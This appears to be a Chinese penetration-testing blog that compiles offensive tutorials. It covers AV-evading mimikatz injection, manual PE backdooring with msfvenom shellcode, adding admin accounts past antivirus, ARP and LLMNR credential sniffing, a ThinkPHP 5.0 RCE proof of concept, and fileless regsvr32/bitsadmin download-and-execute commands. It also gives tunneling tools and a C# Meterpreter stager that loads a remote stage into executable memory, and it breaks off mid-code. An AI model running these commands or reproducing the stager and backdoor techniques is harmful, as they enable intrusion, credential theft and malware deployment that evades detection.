scareing的学习笔记

道可道,非常道, 名可名,非常名!


  • 首页

  • 分类

  • 归档

  • 标签

  • 关于

利用进程注入实现mimikatz免杀执行

发表于 2020-01-26 | 分类于 bypass

利用进程注入实现mimikatz免杀执行

提供一种思路实现渗透工具在渗透过程中的灵活运用,本次测试全程杀软未报毒。

环境:360+Windows defender

工具

https://github.com/TheWover/donut

metasploit

0x01

将mimikatz转化为二进制文件.

./donut -f mimikatz.exe -o mimikatz.bin

avatar

已经获取到一个session,这是前提条件嗷

use post/windows/manage/shellcode_inject

set SHELLCODE /root/Github/Bypass/donut/mimikatz.bin

set CHANNELIZED true

set INTERACTIVE true

set HIDDEN true

avatar

注意

mimikatz需要admin权限才能抓密码。

x86的程序只能插入到x86的进程中,x64同理

inject的各个选项极其重要,注意灵活调整。

avatar

手工shellcode注入

发表于 2019-12-27 | 分类于 bypass

本人首发于先知社区

手工shellcode注入

0x01

  • 这篇文章将介绍如何添加我们的shellcode而不增加大小或更改功能的来对合法的可执行文件进行添加后门。
  • 我们可以使用自己的Shellcode注入到特定的可执行文件,而又不增加可执行文件的大小或更改其预期功能,并使其难以检测。

为了保证shellcode和程序的精简

  • shellcode不会经过任何编码器的混淆
  • 文件大小保持不变。
  • 后门程序的功能不受影响

0x02

ASLR

  • ASLR(Address space layout randomization)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

所以我们需要先检查程序是否开启了ASLR

avatar

PS脚本地址:https://github.com/NetSPI/PESecurity

看来这是一个好靶子。

0x03

实现过程

  • 在代码区段中创建新的节头,或在内存中找到合适的位置植入我们的Shell代码,这两种方法均在下面演示。

  • 在程序执行开始时从堆栈中复制操作码。

  • 将这些指令替换为我们自己的操作码,以将应用程序的执行流劫持到内存中的所需位置。

  • 将shellcode添加到该内存位置。

  • 将寄存器设置回第一步中复制的堆栈,以正常执行流程。

添加新的区段

该方法背后的原理是在PE文件中创建一个新的区段,在新创建的区段中添加我们的shellcode,然后指向该部分的执行流程。可以使用诸如LordPE之类的工具来修改区段表。

  • 用Lord PE打开目标程序,并在区段表底部添加节标题(这里是.demo)
  • 将虚拟大小和原始大小相加1000字节。请注意,十六进制为1000(十进制为4096字节)。
  • 使该区段可执行,因为我们必须将Shellcode放在此节中,因此它必须是可读可写可执行的。
  • 将文件另存为原始文件。

avatar

现在执行该文件,它将无法运行,因为我们添加了一个1000h字节的新段,但是该区段为空。

avatar

所以只要我们填充了该区段就能正常执行。

所以我们在文件末尾添加1000h字节,因为现在文件包含一个1000字节的区段,但该部分为空,我们必须用什么填充它,现在选择用null(00)填充它。如下所示,使用任何十六进制编辑器在文件末尾添加1000个十六进制字节。

avatar

添加后保存并运行,此时程序就可以正常运行了(确保程序可执行后进入下一步)。

劫持执行流程

现在在Ollydbg中执行以下操作:转到内存部分,然后双击PE标头。

avatar

我们可以看到我们的新部分 .demo 已添加了指定的权限。下一步是将程序的执行流劫持到我们新添加的 .demo 段中。当我们执行程序时,它应指向 要放置shellcode的代码的.demo 部分。

首先复制前3个操作码到记事本,稍后在恢复执行流程时将需要它们。 我们复制 .demo的起始地址00412000 打开Ollydbg的程序,更换程序起始地址代码为JMP 00412000。

avatar

现在保存修改后的文件,此时文件的执行流程已经被劫持了。现在重新用Ollydbg打开,右键跟随jmp,你就会发现程序已经被劫持到我们所创建的那一片全为00的了。

msfvenom -p windows/messagebox text=”it’s demo” -f hex

右键复制到可执行文件,此时会进入数据块,使用msf生成payload,复制,在Ollydbg中选中那一块00段 右键 > 二进制 >二进制粘贴然后保存文件

avatar

此时修改后的程序就能成功执行我们的shellcode了。弹框证明。

avatar

此时shellcode已被执行,我们应该恢复程序正常的执行流程。

  • 将shellcode最后一句跳转改为nop.
  • 使用popfd,popod进行恢复堆栈的操作。
  • 然后将原程序起始位置的汇编码复制到这里。
  • 最后跳转回原来的执行地址。
  • 保存文件,程序应能正常工作并保留原有功能。

avatar

* 此时我们算是初步完成了,不过由于添加了新的区段导致了程序体积变大,所以我们会用另一种办法解决这个问题 *

事实上虽然程序大小有变化,但是我们可以无限制的放入shellcode,即我们可以使用复杂的shellcode,这将会对bypass AV有帮助。

代码空洞

代码空洞是程序存储器中的空块,可用于注入shellcode。我们可以使用现有的代码洞来植入我们的shellcode。我们几乎可以在任何PE中找到不同大小的代码空洞。代码空洞的大小很重要! 我们希望代码空洞大于我们的shellcode,以便我们可以注入shellcode,而不必将其拆分为较小的块。

在代码空洞中注入shellcode是不会影响程序大小的,唯一需要注意的是shellcode应尽可能的小。

在kali中使用cave_miner检查原程序(未经修改)是否存在代码空洞。

1
cave_miner search  /root/Hash.exe   #可用--size 筛选符合大小的空洞,适用于空洞特别多的程序。

avatar

在这里我们有一个899字节的空洞,就决定是它了。

记下空洞的虚拟地址。虚拟地址是洞穴的起始地址。我们将通过跳转到虚拟地址来劫持执行流程。现在我们需要将shellcode植入到空洞中。在这里可以看到代码洞穴仅是可读的,我们必须使其可写和可执行才能执行我们的shellcode。我们通过LORDPE来修改。

avatar

在用户交互时触发Shellcode

现在我们有了一个可以使用的代码空洞,所以就决定把shellcode放这里了。

此次汇编代码改为跳转到我们得到的空洞地址:jmp 0041123d ,保存

再次用Ollydbg打开,跟随jmp到我们的代码空洞。

avatar

右键>复制到可执行文件>选择,然后复制shellcode,右键>二进制>二进制粘贴

然后最后一句还是改为nop,然后添加popfd,popad,以恢复堆栈,然后保存。

avatar

如能正常执行shellcode即进入下一步,跳转回程序执行流程。

最后完整还原代码如图。

avatar

avatar

在文件大小不变的情况下,实现了shellcode注入,且程序功能不受影响。

参考链接:https://haiderm.com/fully-undetectable-backdooring-pe-file

Win绕过AV添加账号

发表于 2019-12-02 | 分类于 bypass

Win绕过AV添加账号

  • 开启来宾用户

net user guest /active:yes

net user localgroup “Remote Desktop User” guest /add

由于无法直接添加管理员组,所以为了远程连接,添加到远程连接组

  • CS的argue命令参数污染。

argue net1 xxxxx

execute net1 user test /add

execute net1 localgroup administrators test /add

  • 添加优先级高于AV的启动项

C:/windows/system32/cmd.exe /c net user test /add;net localgroup administrators test /add

浅谈内网嗅探

发表于 2019-11-11 | 分类于 内网

浅谈内网嗅探

当我们进入内网时,很多时候是没有任何凭据的,在没有凭据的情况下,嗅探就成了一种有效且可行的操作手段。

ettercap

ettercap是非常经典也非常有代表性的嗅探工具,虽然有的时候动静会很大,但是只要运用得当,它就是一把不见血的杀猪刀。

0x01 嗅探指定网段明文数据

1
ettercap -Tqi eth0 -M arp:remote //172.22.35.0/24//

0x02 嗅探指定网段网络认证中的明文数据

1
ettercap -T -q -i eth0  -L webadmin -M arp:remote //172.22.35.0/24//

0x03 嗅探本地指定端口明文数据

1
ettercap -i eth2 -T -q -p -l local //25,80,110,143,8080

只可惜成功率偏低,一个小时什么都没抓到。

avatar

responder

Responder可以毒化LLMNR,NBT-NS和MDNS,具有内置的HTTP/SMB/MSSQL/FTP/LDAP虚假的身份验证服务器,支持NTLMv1/NTLMv2/LMv2,扩展安全性NTLMSSP和基本HTTP身份验证。

  • responder可以说是无中生有的神器了,甚至可以在用户没有输入账号密码的情况下,抓取到NTLM加密的哈希值,并且动静较小,难以察觉。

0x01 攻击机伪装为web代理服务器,应答内网所有数据。

1
responder -I eth0 -wfrv

并且在用户连接到不存在的地址时,responder如同其名一样,会欺骗性的返回认证窗口。

avatar

avatar

最后抓到的哈希值用hashcat破解。

1
hashcat -m 5600 ******** /root/weak_passwds_v1.txt -o found.txt --force

所有抓到的数据都会自动保存到/usr/share/responder/logs目录。

一个小时内有10条有效数据,效果还是很好的,更巧的是empire已经内置了responder。

avatar

ThinkPHP_v5.0_rce 分析

发表于 2019-10-28 | 分类于 漏洞分析

ThinkPHP v5.0 rce 分析

ThinkPHP 5.*存在一处由于路由解析缺陷导致的代码执行漏洞。该漏洞危害程度非常高,默认环境配置即可导致远程代码执行。

  • 本次测试环境ThinkPHP 5.0.20

RCE复现

![image-20200221124859301](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200221124859301.png)

代码分析

首先看取路由的函数pathinfo,path

漏洞文件/thinkphp/library/think/Request.php:384

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 获取当前请求URL的pathinfo信息(含URL后缀)
* @access public
* @return string
*/
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}

// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo; // /Index/\think\app/invokefunction


}

这里获取pathinfo后只进行了简单的字符串操作。又由于

下图

![image-20200221171234408](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200221171234408.png)

所以s-->var_pathinfo-->pathinfo。

又pathinfo函数被library/think/Request.php:416中的path函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 获取当前请求URL的pathinfo信息(不含URL后缀)
* @access public
* @return string
*/
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path; /Index/\think\app/invokefunction
}

/**
* 当前URL的访问后缀
* @access public
* @return string
*/

由于$this->path源自pathinfo,因此可以被攻击者控制。继续分析该变量的传递,在/thinkphp/library/think/App.php:619中被引用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* URL路由检测(根据PATH_INFO)
* @access public
* @param \think\Request $request 请求实例
* @param array $config 配置信息
* @return array
* @throws \think\Exception
*/
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
//是否强制路由
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
//返回一个result对象
return $result;//**/Index/\think\app/invokefunction
}

我们可以看到调用parseUrl函数处理传入的path参数

/thinkphp/library/think/App.php:166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132


// 直接解析URL地址

protected static function parseUrl($url, &$domain)

{

$request = Request::instance();

if (0 === strpos($url, '/')) {

// 直接作为路由地址解析

$url = substr($url, 1);

} elseif (false !== strpos($url, '\\')) {

// 解析到类

$url = ltrim(str_replace('\\', '/', $url), '/'); //分隔符替换 确保路由定义使用统一的分隔符

} elseif (0 === strpos($url, '@')) {

// 解析到控制器

$url = substr($url, 1);

} else {

// 解析到 模块/控制器/操作

$module = $request->module();

$domains = Route::rules('domain');

if (true === $domain && 2 == substr_count($url, '/')) {

$current = $request->host();

$match = [];

$pos = [];

foreach ($domains as $key => $item) {

if (isset($item['[bind]']) && 0 === strpos($url, $item['[bind]'][0])) {

$pos[$key] = strlen($item['[bind]'][0]) + 1;

$match[] = $key;

$module = '';

}

}

if ($match) {

$domain = current($match);

foreach ($match as $item) {

if (0 === strpos($current, $item)) {

$domain = $item;

}

}

self::$bindCheck = true;

$url = substr($url, $pos[$domain]);

}

} elseif ($domain) {

if (isset($domains[$domain]['[bind]'][0])) {

$bindModule = $domains[$domain]['[bind]'][0];

if ($bindModule && !in_array($bindModule[0], ['\\', '@'])) {

$module = '';

}

}

}

$module = $module ? $module . '/' : '';


$controller = $request->controller();

if ('' == $url) {

// 空字符串输出当前的 模块/控制器/操作

$action = $request->action();

} else {

$path = explode('/', $url);

$action = array_pop($path);

$controller = empty($path) ? $controller : array_pop($path);

$module = empty($path) ? $module : array_pop($path) . '/';

}

if (Config::get('url_convert')) {

$action = strtolower($action);

$controller = Loader::parseName($controller);

}

$url = $module . $controller . '/' . $action;// /Index/ \think\app /invokefunction

}

return $url;

}

最后分割为 模块---控制器---操作的格式。

然后参数传递。

/thinkphp/library/think/App.php:553

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    // 获取控制器名

​ $controller = strip_tags($result[1] ?: $config['default_controller']);

​ $controller = $convert ? strtolower($controller) : $controller;



​ // 获取操作名

​ $actionName = strip_tags($result[2] ?: $config['default_action']);

​ if (!empty($config['action_convert'])) {

​ $actionName = Loader::parseName($actionName, 1);

​ } else {

​ $actionName = $convert ? strtolower($actionName) : $actionName;

​ }



​ // 设置当前请求的控制器、操作

​ $request->controller(Loader::parseName($controller, 1))->action($actionName);

/thinkphp/library/think/Loader.php:580

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
  /**

\* 执行模块

\* @access public

\* @param array $result 模块/控制器/操作

\* @param array $config 配置参数

\* @param bool $convert 是否自动转换控制器和操作名

\* @return mixed

\* @throws HttpException

*/

public static function module($result, $config, $convert = null)

{

​ if (is_string($result)) {

​ $result = explode('/', $result);

​ }



​ $request = Request::instance();



​ if ($config['app_multi_module']) {

​ // 多模块部署

​ $module = strip_tags(strtolower($result[0] ?: $config['default_module']));

​ $bind = Route::getBind('module');

​ $available = false;



​ if ($bind) {

​ // 绑定模块

​ list($bindModule) = explode('/', $bind);



​ if (empty($result[0])) {

​ $module = $bindModule;

​ $available = true;

​ } elseif ($module == $bindModule) {

​ $available = true;

​ }

​ } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {

​ $available = true;

​ }



​ // 模块初始化

​ if ($module && $available) {

​ // 初始化模块

​ $request->module($module);

​ $config = self::init($module);



​ // 模块请求缓存检查

​ $request->cache(

​ $config['request_cache'],

​ $config['request_cache_expire'],

​ $config['request_cache_except']

​ );

​ } else {

​ throw new HttpException(404, 'module not exists:' . $module);

​ }

​ } else {

​ // 单一模块部署

​ $module = '';

​ $request->module($module);

​ }



​ // 设置默认过滤机制

​ $request->filter($config['default_filter']);



​ // 当前模块路径

​ App::$modulePath = APP_PATH . ($module ? $module . DS : '');



​ // 是否自动转换控制器和操作名

​ $convert = is_bool($convert) ? $convert : $config['url_convert'];



​ // 获取控制器名

​ $controller = strip_tags($result[1] ?: $config['default_controller']);

​ $controller = $convert ? strtolower($controller) : $controller;



​ // 获取操作名

​ $actionName = strip_tags($result[2] ?: $config['default_action']);

​ if (!empty($config['action_convert'])) {

​ $actionName = Loader::parseName($actionName, 1);

​ } else {

​ $actionName = $convert ? strtolower($actionName) : $actionName;

​ }



​ // 设置当前请求的控制器、操作

​ $request->controller(Loader::parseName($controller, 1))->action($actionName);



​ // 监听module_init

​ Hook::listen('module_init', $request);



​ try {

​ $instance = Loader::controller(

​ $controller,

​ $config['url_controller_layer'],

​ $config['controller_suffix'],

​ $config['empty_controller']

​ );

​ } catch (ClassNotFoundException $e) {

​ throw new HttpException(404, 'controller not exists:' . $e->getClass());

​ }



​ // 获取当前操作名

​ $action = $actionName . $config['action_suffix'];



​ $vars = [];

​ if (is_callable([$instance, $action])) {

​ // 执行操作方法

​ $call = [$instance, $action];

​ // 严格获取当前操作方法名

​ $reflect = new \ReflectionMethod($instance, $action);

​ $methodName = $reflect->getName();

​ $suffix = $config['action_suffix'];

​ $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

​ $request->action($actionName);



​ } elseif (is_callable([$instance, '_empty'])) {

​ // 空操作

​ $call = [$instance, '_empty'];

​ $vars = [$actionName];

​ } else {

​ // 操作不存在

​ throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

​ }



​ Hook::listen('action_begin', $call);



​ return self::invokeMethod($call, $vars);

}

这里通过invokeMethod 函数动态调用方法,可以看到$controller是控制器\think\app,$actionName是invokefunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
{
$info = pathinfo($url);
$action = $info['basename'];
$module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller();
$class = self::controller($module, $layer, $appendSuffix);

if ($class) {
if (is_scalar($vars)) {
if (strpos($vars, '=')) {
parse_str($vars, $vars);
} else {
$vars = [$vars];
}
}

return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars);
}

return false;
}

实例化控制器

/thinkphp/library/think/Loader.php:474

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**

\* 实例化(分层)控制器 格式:[模块名/]控制器名

\* @access public

\* @param string $name 资源地址

\* @param string $layer 控制层名称

\* @param bool $appendSuffix 是否添加类名后缀

\* @param string $empty 空控制器名称

\* @return object

\* @throws ClassNotFoundException

*/

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);



if (class_exists($class)) {

return App::invokeClass($class);

}



if ($empty) {

$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);



if (class_exists($emptyClass)) {

return new $emptyClass(Request::instance());

}

}



throw new ClassNotFoundException('class not exists:' . $class, $class);

}

POC分析

http://192.168.222.131/www/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

  • 分析pathinfo()函数的时候了解到可以用s来获取路由信息
  • parseUrl方法分割url为[模块/控制器/操作]格式
  • 传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类
  • 最后是反射函数,调用了invokefunction方法执行phpinfo()

无文件攻击方式简介

发表于 2019-10-24 | 分类于 无文件攻击

无文件攻击方式简介

“无文件攻击”属于一种影响力非常大的安全威胁。攻击者在利用这种技术实施攻击时,不会在目标主机的磁盘上写入任何的恶意文件,因此而得名“无文件攻击”,部分无文件攻击甚至会删除自身以达到无法被捕获的目的,无文件攻击多使用 “白加黑”,“恶意文档”,“ 内存注入”,等方式绕过众多的反恶意技术的控制,包括应用白名单策略 ,使得难以防范。

0x01 恶意文档

Office远程命令执行

例:CVE-2017-11882

https://github.com/Ridter/CVE-2017-11882

例:CVE-2018-0802

https://github.com/rxwx/CVE-2018-0802

Docx远程模板注入

建立一个插入恶意宏的Docx模板,再以该恶意模板创建一个正常文档。

普通VBA,VBS宏注入

直接将宏代码插入到文档。

0x02 恶意脚本

其实笔者还见过部分脚本,最后一句为del %0,靠删除自身来达成的无文件。所以基与此,笔者认为命令行脚本都可以在最后加上这种清除痕迹的操作。

PowerShell脚本

powershell恶意代码执行,内存注入,远程脚本注入,wmic。

PowerShell混淆

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/trustedsec/unicorn

Bat脚本

白加黑,wmic

0x03 Living off the Land

对 Microsoft Windows 众多内置工具的滥用。

bypass技巧
  • 将利用的源文件改名。
1
2
copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
  • 建立指向该文件的符号链接
1
2
Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
  • NTFS 数据流隐写
1
2
Type c:\windows\system32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
  • 本地执行,或者下载到本地执行
1
2
3
Regsvr32.exe /u /s /i:c:\experiments\regsvr32\Regsvr32_calc.sct scrobj.dll
下载执行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll

https://github.com/LOLBAS-Project/LOLBAS

https://github.com/Micropoor/Micro8

avatar

Everything敏感信息泄露

发表于 2019-10-15 | 分类于 组件漏洞

Everything敏感信息泄露

Everything是voidtools开发的一款文件搜索工具,官网描述为“基于名称实时定位文件和目录(Locate files and folders by name instantly)

漏洞简介

由于配置中开启了ETP/FTP服务和HTTP服务,并且默认无身份验证,导致可以直接访问,下载服务器上的文件。

配置不当 > 未授权访问 > 敏感信息泄露

漏洞利用

  • fofa搜索引擎搜索目标

avatar

  • 未授权访问

avatar

avatar

修复方式

  • 关闭ETP/FTP服务和HTTP服务或者设置账户密码

    avatar

多级内网穿透

发表于 2019-10-15 | 分类于 内网

多级内网穿透

SOCK通道:ew

项目地址: https://github.com/idlefire/ew

1
2
> EarthWorm是一种用于开启SOCKS v5代理服务的工具,基于标准C开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
>

通过本地设置sock代理进行流量转发。

1
2
3
4
5
6
7
8
9
10
* 将本机1090转发到本地1080。
ew_for_Win.exe -s lcx_listen -l 1090 -e 1080
* 将1090收到的流量转发到本地的1080
ew_for_Win.exe -s lcx_listen -l 1090 -e 1080
* 把1090端口收到的流量转发到,192.168.1.1的1080端口
ew_for_Win.exe -s lcx_tran -l 1090 -f 192.168.1.1 -g 1080
* 对192.168.2.1的1080端口与1090端口间的流量从本机进行转发
ew_for_Win.exe -s lcx_slave -d 192.168.2.1 -e 1080 -f 192.168.1.1 -g 1090
* 把内网主机反向代理到公网主机的1024端口。
ew_for_Win.exe -s rssocks -d 10.xxx.xxx.xx -e 1024

HTTP隧道: abptts

项目地址: https://github.com/nccgroup/ABPTTS

ABPTTS使用Python客户端脚本和Web应用程序服务器页面,通过HTTP/HTTPS连接将TCP通信通过隧道传输到Web应用程序服务器。换句话说,在任何可以部署Web Shell的地方,都能够建立完整的TCP隧道。这允许通过Web应用程序服务器建立RDP,交互式SSH,Meterpreter和其他连接。这些通信设计是与HTTP标准完全兼容的,这意味着除了隧道在通过目标Web应用程序服务器,它可以被用来建立一个出站通过分组检查防火墙连接。

1
2
3
python abpttsfactory.py -o webshell
* 将目标的3389端口转发到本地1024端口
python abpttsclient.py -c config.txt -u "http://********/abptts.aspx" -f 127.0.0.1:1024/********:3389

HTTP隧道:reGeorg

项目地址:https://github.com/sensepost/reGeorg

reDuh的后继者,堡垒网络服务器,并通过DMZ创建SOCKS代理。只要将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。可惜的是,大部分waf都会针对默认的reGeorg。

1
2
* 将目标流量转发到本机的8080端口,本机为192.168.1.1
python reGeorgSocksProxy.py ‐p 8080 ‐l 192.168.1.1 ‐u http://********/tunnel.aspx

HTTP隧道:Tunna

项目地址: https://github.com/SECFORCE/Tunna

此webshell可用于连接到远程主机上的任何服务。这将是远程主机上本地端口上的本地连接,并且被防火墙允许。webshell从服务端口读取数据,并通过HTTP封装它们,并将其作为HTTP响应发送到本地代理。本地代理将解包并将数据写入客户端程序将要连接到的本地端口。当本地代理在本地端口上接收数据时,它将作为HTTP Post发送到Webshell。该Webshell将从HTTP Post中读取数据并将其放在服务端口上,并重复转发,整个通信(外部)是通过HTTP协议完成的。

1
2
* 将远程主机3389端口转发到本地1024端口。
python proxy.py ‐u http://192.168.1.1/Tunna.aspx ‐l 1024 ‐r 3389 ‐s ‐v

ICMP隧道:ptunnel-ng

项目地址: https://github.com/lnslbrty/ptunnel-ng

在禁止udp/tcp通信的时候,可以利用icmp隧道进行穿透 那些禁止udp/tcp端口通信的环境。

1
2
3
4

./ptunnel-ng -r<destination address> -R<destination port> -v <loglevel> -P<password> -u<user> -g<group>

./ptunnel-ng -p <address> -l <listen port> -r<destination address> -R<destination port> -v <loglevel> -P<password> -u<user> -g<group>

未完待续。。。。。

《使用C#编写自定义后门负载》学习笔记及免杀尝试

发表于 2019-10-05 | 分类于 C#

《使用C#编写自定义后门负载》学习笔记及免杀尝试

最近在逛GayHub时,偶然发现了《使用C#编写自定义后门负载》这个项目,在实现的过程中,发现他给出的部分代码本身就有一定的免杀处理,其他的可利用代码也简单尝试过bypass AV,效果还行。

注:本文由本人首发于先知社区

项目地址

https://github.com/mvelazc0/defcon27_csharp_workshop

测试环境

  • win10
  • Windows defender
  • win7
  • 360
  • 电脑管家

    测试结果

    lab2

    最后结果:全过
    lab2的思路是真的不错,使用Web服务识别msf第二阶段的uri,然后程序请求第二阶段的uri。
    直接把stage加载进内存,这一招免杀力max,不过会留下一个很明显的窗口。

0x01

openssl genrsa>privkey.pem    //生成密钥
openssl req -new -x509 -key privkey.pem -out cert.pem -days 365    //用生成的密钥生成证书
twistd -n web -c cert.pem -k privkey.pem --https=8080    //监听8080的web服务

0x02

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.22.35.212 LPORT=8080 -f exe -o demo.exe    //生成一个https的程序·。

然后将这个程序下载到Win下运行,第一步监听8080的web服务就会捕捉到一个https请求的日志。
avatar
将这个请求复制到lab2的2.cs中

 using System.Net;
 using System.Text;
 using System.Configuration.Install;
 using System.Runtime.InteropServices;
 using System.Security.Cryptography.X509Certificates;

public class Program
{

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param,UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


public static void Main()
{
    string url = "https://172.22.35.212:8080/jo8qpzUTLKP7YvpgpgVmjghsq-PI9uHda0z0YwHmVl9utBbhSUGY4-E6uVpp6bIO3Rz7wazCkbgwfIFGllVXGoy5cbHYeB7CXOXWqQ6xFDfamwN4QVt8db2SdcPRuEBonvwDwfrnXSAQdYJ14lFMV3mmyaNdqbiu9qhKGgKRRMWLCztXaPqMyfQ1ld8lqQC-7Nt7WLGD";
    Stager(url);
}

public static void Stager(string url)
